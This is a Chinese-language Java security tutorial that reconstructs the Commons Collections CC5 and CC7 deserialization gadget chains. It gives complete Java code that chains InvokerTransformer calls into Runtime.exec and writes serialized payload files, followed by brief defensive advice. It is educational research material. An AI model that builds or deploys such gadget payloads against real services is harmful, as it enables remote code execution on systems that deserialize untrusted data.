java安全:从发现者角度解析CC5和CC7链构造过程(完结)
字数 1349 2025-08-29 22:41:38
Java反序列化漏洞:CC5与CC7链构造详解
1. 概述
本文详细解析Apache Commons Collections反序列化漏洞中的CC5和CC7链构造过程,从发现者角度深入剖析其技术原理和实现细节。
2. CC5链构造
2.1 核心组件
CC5链与LazyMap的CC1链非常相似,主要区别在于入口点改为LazyMapEntry:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
2.2 构造过程
- 创建Transformer链:
final ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
});
- 创建LazyMap:
final HashMap<Object, Object> map = new HashMap<>();
map.put("value","xxx");
final Map lazymap = LazyMap.decorate(map, chainedTransformer);
- 创建TiedMapEntry:
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"yuji");
- 利用BadAttributeValueExpException:
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
// 反射设置val字段
Class clazz = Class.forName("javax.management.BadAttributeValueExpException");
Field field = clazz.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
- 序列化与反序列化:
public static void serializable(Object o) throws IOException {
final ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC5.ser"));
objectOutputStream.writeObject(o);
}
public static Object derializable() throws IOException, ClassNotFoundException {
final ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("CC5.ser"));
return objectInputStream.readObject();
}
2.3 触发流程
- 反序列化
BadAttributeValueExpException时,会调用其readObject方法 readObject方法会调用toString方法处理val字段TiedMapEntry的toString方法会调用getValue方法getValue方法会调用LazyMap.get方法LazyMap.get触发Transformer链执行命令
3. CC7链构造
3.1 核心思路
CC7链的入口点变为Hashtable,通过以下路径触发:
- 从
LazyMap.get倒推,找到AbstractMapDecorator.equals方法 Hashtable的equals方法会触发reconstitutionPutreadObject方法调用reconstitutionPut方法
3.2 构造过程
- 创建两个HashMap和Transformer链:
final HashMap<Object, Object> map1 = new HashMap<>();
final HashMap<Object, Object> map2 = new HashMap<>();
map1.put("key1", "value1");
map2.put("key2", "value2");
final ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
});
- 创建两个LazyMap:
final Map lazymap1 = LazyMap.decorate(map1, chainedTransformer);
final Map lazymap2 = LazyMap.decorate(map2, chainedTransformer);
- 创建Hashtable并放入两个LazyMap:
Hashtable table = new Hashtable();
table.put(lazymap1,1);
table.put(lazymap2,1);
- 序列化与反序列化:
public static void serializable(Object o) throws IOException {
final ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC7.ser"));
objectOutputStream.writeObject(o);
}
public static Object derializable() throws IOException, ClassNotFoundException {
final ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("CC7.ser"));
return objectInputStream.readObject();
}
3.3 触发流程
- 反序列化
Hashtable时,会调用其readObject方法 readObject方法调用reconstitutionPut方法reconstitutionPut方法会调用key.equals方法equals方法最终触发LazyMap.get方法LazyMap.get触发Transformer链执行命令
4. CC链构造总结
4.1 主要Sink点
- invokeTransformer.transform:基于反射原理实现命令执行
- defineClass → newInstance:通过Java类动态加载机制,加载恶意class文件实现命令执行
4.2 关键特点
- CC1-CC7链的gadget链中很多组件是重复使用的
- 理解CC1链和CC3链这两个具有不同sink的链是基础
- 其他链主要是在这两个基础上调整source方式
4.3 学习建议
- 重点掌握CC1链和CC3链的核心原理
- 理解各个组件的功能及其在链中的作用
- 掌握反射和动态类加载的基本原理
- 通过调试跟踪完整的调用链
5. 防御建议
- 升级Apache Commons Collections到安全版本
- 使用Java反序列化过滤器
- 避免反序列化不可信数据
- 使用白名单机制控制可反序列化的类
通过深入理解这些链的构造原理,可以更好地防御此类漏洞,也能在安全研究中发现新的利用链。